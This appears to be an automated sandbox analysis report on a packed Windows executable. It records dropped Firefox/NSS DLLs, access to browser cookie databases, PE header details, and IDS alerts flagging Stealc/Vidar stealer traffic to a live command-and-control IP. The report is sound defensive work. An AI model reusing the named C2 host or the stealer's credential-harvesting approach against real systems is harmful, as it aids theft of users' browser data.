MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.945016301960948
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'790'976 bytes
MD5:	4847d6885adc7ea78fdf9918c384cecb
SHA1:	9eb0ce983f5a81300f18331b4899e03692fea6ef
SHA256:	2954dec8276af3d7c60154c2afb2ae360d696c6a90eb779fd9e380848c6fd8cc
SHA512:	e9b4d83425344b7137477105ee474c114f098d6c6e41d7bdfb47fb5902e32ba5c91ae9b9a3629dbad0ce4151bbf9d880c80dbfd5002d77da9ad88e8aa67f41fe
SSDEEP:	49152:EDX1MwDuFp+U5Sbi1cvMkg0X8C9d5PBXiClNM8GDb:EDXcFpcbi1idrHG
TLSH:	F28533FFED01CF5BD15E87B30898CD1787A4063782F98A00BE08A955D6EA57242A6F47
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........b...............u^......uk......u_......{v.....fz.......{f..............uZ......uh.....Rich............PE..L...M..f...........

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0xa82000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66C88B4D [Fri Aug 23 13:14:53 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F1F34E93F7Ah
rdmsr
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F1F34E95F75h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [ecx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x23f050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x23f1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x23d000	0x13c00	762b636f4e08fa914f617cc5d49774cb	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x23e000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x23f000	0x1000	0x200	380655991303f284fcb90ef8e49522a1	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x240000	0x2a3000	0x200	8cf49dc5c414a1439e70cc829c3bc622	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
fgtetwml	0x4e3000	0x19e000	0x19de00	ba2d7210c2b8a1174c866fb27d41a351	False	0.995076780051344	data	7.954088154505861	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
kzhupcow	0x681000	0x1000	0x400	10df8b684d48d55a3ba9f6de49db1be1	False	0.8408203125	data	6.362979162399169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x682000	0x3000	0x2200	18f49ab9e9fdf7edcc718f47be201b84	False	0.064453125	DOS executable (COM)	0.672527285886948	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Severity	Source Port	Dest Port	Source IP	Dest IP
2024-09-01T01:22:08.498416+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:02.669635+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:01.302788+0200	TCP	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	80	49730	185.215.113.100	192.168.2.4
2024-09-01T01:22:09.651030+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:02.415127+0200	TCP	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:10.265481+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:00.884282+0200	TCP	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:00.890370+0200	TCP	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	80	49730	185.215.113.100	192.168.2.4
2024-09-01T01:22:12.422981+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:12.792377+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:00.634434+0200	TCP	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:01.296000+0200	TCP	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	49730	80	192.168.2.4	185.215.113.100
2024-09-01T01:22:10.804133+0200	TCP	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	49730	80	192.168.2.4	185.215.113.100

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 1, 2024 01:21:59.633631945 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:21:59.638593912 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:21:59.638678074 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:21:59.638828039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:21:59.643568993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.375639915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.375718117 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.377753973 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.382500887 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.634360075 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.634433985 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.635512114 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.640325069 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.884205103 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.884282112 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.884351015 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:00.884404898 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.885536909 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:00.890369892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295677900 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295690060 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295697927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295705080 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295707941 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295716047 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295756102 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295761108 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295766115 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.295769930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.296000004 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:01.298013926 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:01.302788019 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.544641018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.544817924 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:01.560903072 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:01.560960054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:01.565790892 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.565814018 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.565824986 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.565921068 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.565970898 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.565980911 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:01.566101074 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.415046930 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.415127039 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.415683985 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.420404911 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669548035 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669565916 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669576883 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669588089 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669599056 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669609070 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669620037 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669631958 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.669635057 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.669653893 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.669677019 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.670461893 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.670475006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.670486927 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.670500040 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.670512915 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.670532942 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.670543909 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.818645000 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818702936 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818727970 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.818742037 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.818814993 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818825006 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818835974 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818845034 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818857908 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.818860054 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.818898916 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.819669962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.819679976 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.819690943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.819719076 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.819736004 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.820132017 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820142031 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820163965 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820173025 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820177078 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.820184946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820209026 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.820225954 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.820919991 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820966959 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820967913 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.820977926 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.820988894 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.821001053 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.821013927 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.821049929 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.821846962 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.821857929 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.821867943 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.821877003 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.821894884 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.821918011 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.904803038 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.904884100 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.968605042 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.968661070 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.968767881 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.968780994 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.968792915 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.968811989 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.968837976 CEST	49730	80	192.168.2.4	185.215.113.100
Sep 1, 2024 01:22:02.968920946 CEST	80	49730	185.215.113.100	192.168.2.4
Sep 1, 2024 01:22:02.968933105 CEST	80	49730	185.215.113.100	192.168.2.4
